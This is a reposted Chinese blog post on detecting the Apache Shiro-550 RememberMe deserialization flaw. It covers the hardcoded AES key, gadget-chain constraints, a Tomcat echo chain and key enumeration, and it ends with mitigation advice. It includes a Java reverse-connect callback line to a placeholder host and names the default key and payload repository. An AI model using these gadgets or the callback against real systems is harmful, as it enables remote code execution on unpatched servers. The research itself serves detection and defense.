armitage识别不了漏洞_Shiro RememberMe 漏洞检测的探索之路
前言
Shiro 是 Apache 旗下的一個用于權限管理的開源框架,提供開箱即用的身份驗證、授權、密碼套件和會話管理等功能。該框架在 2016 年報出了一個著名的漏洞——Shiro-550,即 RememberMe 反序列化漏洞。4年過去了,該漏洞不但沒有沉沒在漏洞的洪流中,反而憑借其天然過 WAF 的特性從去年開始逐漸升溫,恐將在今年的 HW 演練中成為后起之秀。面對這樣一個炙手可熱的漏洞,這篇文章我們就來講下,我是如何從 0 到 1 的將該漏洞的自動化檢測做到極致的。
漏洞成因
網上相關分析已經很多,使用了 Shiro 框架的 Web 應用,登錄成功后的用戶信息會加密存儲在 Cookie 中,后續可以從 Cookie 中讀取用戶認證信息,從而達到“記住我”的目的,簡要流程如下。
在 Cookie 讀取過程中有用 AES 對 Cookie 值解密的過程,對于 AES 這類對稱加密算法,一旦秘鑰泄露加密便形同虛設。若秘鑰可控同時 Cookie 值是由攻擊者構造的惡意 Payload,就可以將流程走通,觸發危險的 Java 反序列化。在 Shiro 1.2.4 及之前的版本,Shiro 秘鑰是硬編碼的一個值 kPH+bIxk5D2deZiIxcaaaA== ,這便是 Shiro-550 的漏洞成因。但這個漏洞不只存在于 1.2.4 版本,后續版本的讀取流程沒有什么改動,這就意味著只要秘鑰泄露,依然存在高危風險。有趣的是,國內不少程序員習慣性的 copy/paste,一些 Github 示例代碼被直接復制到了項目中,這些示例中設置秘鑰的代碼也可能被一并帶到項目中,這就給了安全人員可乘之機,后來出現的 Shiro Top 100 Key 便是基于此原理收集的,這大概也是該漏洞經久不衰的一個側面因素吧。
反序列化利用鏈提純
Shiro 作為 Java 反序列化漏洞,想要完成漏洞利用必然少不了利用鏈的討論。如果你之前有嘗試復現過這個漏洞,大概率用過 CommonsCollections4 或 CommonsBeanutils 兩條利用鏈,比如 vulhub 中該漏洞的靶站就使用了后者作為 gadget。作為一個初入 Java 安全的小白,我當時很疑惑 CommonsCollections 系列 gadget 到底有何區別,為何這里只能用上述的兩條鏈,上面的利用鏈對目標環境的適用程度又是如何?這些問題不搞清楚,漏洞檢測就無從談起。作為知識儲備,我花三分鐘研究了一下常見的 Java 反序列化利用鏈,發現 ysoserial 中 Commons 相關利用鏈都是如下模子出來的:
不同的利用鏈從不同角度給了我們反序列化的一些思路,熟悉這個規律后,我們完全可以自己組合出一些另外的利用鏈。不過利用鏈不求多但求精,少一條無用的利用鏈就意味著可以減少一次漏洞探測的嘗試。于是我將原有的 CommonsCollections1~7 進行了濃縮提純,變成了如下新的 4 條利用鏈:
- CommonsCollectionsK1 (commons-Collections <= 3.2.1 && allowTemplates)
- CommonsCollectionsK2 (commons-Collections == 4.0 && allowTemplates)
- CommonsCollectionsK3 (commons-Collections <= 3.2.1)
- CommonsCollectionsK4 (commons-Collections == 4.0)
從分類上看分為兩組,一組是 K1/K2,對應于 TemplatesImpl 的情況,一組是 K3/K4,對應于 ChainedTransformer 的情況。這 4 條鏈不僅可以完整的覆蓋原有的 7 條鏈支持的場景,也可以在一些比較特殊的場景發揮作用,這些特殊的場景就包含接下來要討論的 Shiro 的情況。
無心插柳的反序列化防護
前面做了這么多準備,我們還是沒有搞清楚上一節提出的問題,現在是時候正面它了!稍加跟進源碼會發現,Shiro 最終反序列化調用的地方不是喜聞樂見的 ObjectInputStream().readObject ,而是用 ClassResolvingObjectInputStream 封裝了一層,在該 stream 的實現中重寫了 resolveClass 方法
我們發現原本應該調用 Class.forName(name) 的地方被替換成了幾個 ClassLoader.loadClass(name) ,這兩種加載類的方式有以下幾點區別:
- forName 默認使用的是當前函數內的 ClassLoader, loadClass 的 ClassLoader 是自行指定的
- forName 類加載完成后默認會自動對 Class 執行 initialize 操作, loadClass 僅加載類不執行初始化
- forName 可以加載任意能找到的 Object Array, loadClass 只能加載原生(初始)類型的 Object Array
在這3點中,對我們漏洞利用影響最大的是最后一條。回看上一節說的那個規律,有一些利用鏈的終點是 ChainedTransformer ,這個類中的有一個關鍵屬性是 Transformer[] iTransformers ,Shiro 的反序列化嘗試加載這個 Transformer 的 Array 時,就會報一個找不到 Class 的錯誤,從而中斷反序列化流程,而這就是 CommonsCollections 的大部分利用鏈都不可用的關鍵原因。
閱讀代碼可以感受到,重載的 resolveClass 本意是為了能支持從多個 ClassLoader 來加載類,而不是做反序列化防護,畢竟后續的版本也沒有出現 WebLogic 式增加黑名單然后被繞過的情況 。這一無心插柳的行為,卻默默阻擋了無數次不明所以的反序列化攻擊,與此同時,CommonsCollections4 和 CommonsBeanutils 兩個利用鏈由于采用了 TemplatesImpl 作為終點,避開了這個限制,才使得這個漏洞在滲透測試中有所應用。ysoserial 中的 CommonsCollections4 只能用于 CC4.0 版本,我把這個利用鏈進行了改進使其支持了 CC3 和 CC4 兩個版本,形成了上面說的 K1/K2 兩條鏈,這兩條鏈就是我們處理 Shiro 這個環境的秘密武器。經過這些準備,我們已經從手無縛雞之力的書生變為了身法矯健的少林武僧,可以直擊敵方咽喉,一舉拿下目標。萬事具備,只欠東風。
東風何處來
我們最終的目的是實現 Shiro 反序列化漏洞的可靠檢測,回顧一下漏洞檢測常用的兩種方法,一是回顯,二是反連。基于上面的研究,我們可以借助 TemplatesTmpl 實現任意的代碼執行,僅需一行代碼就可以實現一個 HTTP 反連的 Payload
new URL("http://REVERSE-HOST").openConnection().getContent();
當漏洞存在時,反連平臺就會收到一條 HTTP 的請求。與之類似的還有 URLDNS 這個利用鏈,只不過它的反連是基于 DNS 請求。實戰中常用的還有 JRMP 相關的方法,我們可以使用類似 fastjson 的方法來做 Shiro 的檢測。可惜的是,這些方法在目標網站無法出網時都束手無策,而漏洞回顯是解決這個問題的不二法門。
與 Shiro 搭配最多的 Web 中間件是 Tomcat,因此我們的注意力就轉移到了 Tomcat 回顯上。這個話題實際上已經有很多師傅研究過了,李三師傅甚至整理了一個Tomcat 不出網回顯的連續劇 的文章。在學習了各位師傅的成果后,我發現公開的 Payload 都有這樣一個問題——無法做到全版本 Tomcat 回顯。此時我便萌生了一個想法,能否挖到一個新的利用鏈,使它能兼容所有的 Tomcat 大版本,基于此的漏洞檢測就可以不費吹灰之力完成。然而挖掘新的利用鏈談何容易,我怕是要陷入閱讀 Tomcat 源碼的漩渦中還不一定爬的出來,要是這個過程能自動完成就好了!自動化利用鏈挖掘應該有人做過吧,我不會是第一個吧,不會吧不會吧。
本著不重復造輪子的原則,稍加尋找不難發現,除了有大名鼎鼎的 gadgetinspector ,還有 c0y1 師傅寫的 java-object-searcher ,一款內存對象搜索工具,非常符合我目前的需求。借助這個工具,我發現了一條在 Tomcat6,7,8,9 全版本都存在的利用鏈,只是不同版本的變量獲取略有差異,大致流程如下:
1 currentThread -> threadGroup -> 2 for(threads) -> target -> this$0 -> handler -> global -> 3 for(processors) -> req -> response一些細節的坑點就不展開說了,總之就是各種反射各種 try/catch,我盡了最大的努力來提高其對各種 Tomcat 環境的兼容性,文章最后會將這個成果分享給大家。有了這個比較好用的回顯 payload,搭配 K1/K2 來觸發反序列化流程,就打造成了 xray 高級版/商業版中 Shiro 反序列化回顯檢測的核心邏輯,回顯效果如下:
更上一層樓
使用 xray 掃到過 xss 的同學應該都有所體會,xray 掃到的 xss 漏洞不一定可以直接彈框,但相關參數一定存在可控的代碼注入,經常會遇到網站存在 waf 但 xray 依然可以識別出 xss 的情況。縱觀整個 Shiro 反序列化的流程,步步都是在針尖上跳舞,一步出錯便前功盡棄。倘若目標站點部署了 RASP 等主機防護手段,很有可能導致反序列化中斷而與 RCE 擦肩而過,有沒有什么辦法能夠像 xss 一樣大幅的提高其檢測能力的下限呢?和 l1nk3r 師傅交流了一下,他提到一種檢測 Shiro Key 的方法很不錯,據說原理來自 shiro_tool.jar ,詳情可以參考這篇文章 一種另類的 shiro 檢測方式 ,我這里簡單復述一下結論。
使用一個空的 SimplePrincipalCollection 作為 payload,序列化后使用待檢測的秘鑰進行加密并發送,秘鑰正確和錯誤的響應表現是不一樣的,可以使用這個方法來可靠的枚舉 Shiro 當前使用的秘鑰。
Key 錯誤時
Key 正確時
借助這種方法,我們就可以將 Shiro 的檢測拆為兩步
由于第一步的檢測依靠的是 Shiro 本身的代碼邏輯,可以完全不受環境的影響,只要目標使用的秘鑰在我們待枚舉的列表里,那么就至少可以把 Key 枚舉出來,這就很大的提高了漏洞檢測的下限。另外有個小插曲是,有的網站沒法根據是否存在 deleteMe 來判斷,而是需要根據 deleteMe 的數量來判斷,舉個例子,如果秘鑰錯誤,返回的是兩個 deleteMe ,反之返回的是一個 deleteMe 。這種情況我之前沒有考慮到,所以在 xray 后續又發了一個小版本修復了一下這個問題。
萬劍歸宗
看到這想必你已修得三十年功力,迫不及待的想要沖入江湖大展拳腳。但好馬需有好鞍相配,漏洞測試也需要一款好用趁手的工具做輔助。將上面說的整個流程做自動化檢測并非只是發個請求那么簡單,我隨便列舉幾個細節,大家可以思考下這幾個小問題該如何處理:
- 如何判斷目標是 Shiro 的站點,Nginx 反代動靜分離的站點又該怎么識別?
- 如何避免 Java 依賴而純粹使用其他語言實現?
- 如何避免 Payload 太長以致超過 Tomcat Header 的大小限制?
- 如何使 Payload 兼容 JDK6 的環境?
- CommonsBeanutils 中有個類的 serialVersionUID 沒設置會對 gadget 有什么影響?
- 如何識別并處理 Cookie key 不是 rememberMe 的情況?
我自認為相對科學的解決了這幾個小問題,并將上述所有的研究成果凝結在了 xray 的 Shiro 檢測插件中,如果有什么我沒有注意到的細節,還望各位師傅指正。xray 是站在巨人的肩膀,若取之社區則要用之社區,文中提到的相關 Gadget 和 Payload 我都同步放到了 https://github.com/zema1/ysoserial,歡迎大家和我一起研究討論。唯一希望的是,轉載或二次研究時請保留下版權,免費的還想白嫖,不是吧,阿Sir。
最后我們來講講這個漏洞的修復方法。官方推薦的方式是棄用默認秘鑰,自己隨機生成一個,這種方法固然有效,但我感覺可以在代碼層面做的更好。如果能在 resolveClass 里采用白名單的方式校驗一下要加載的類,是不是就可以完全避免惡意反序列化的發生,既然已有無心插柳的有效性在前,何不順水推舟,將這個問題從源碼層面根治?
安全之路漫漫,唯有繁星相伴。愿諸位都能成為暗黑森林中的一顆閃亮的星,共勉。
總結
以上是生活随笔為你收集整理的armitage识别不了漏洞_Shiro RememberMe 漏洞检测的探索之路的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: distinct过滤掉重复记录并且显示所
- 下一篇: 个推的appid是指什么_推箱子软件介绍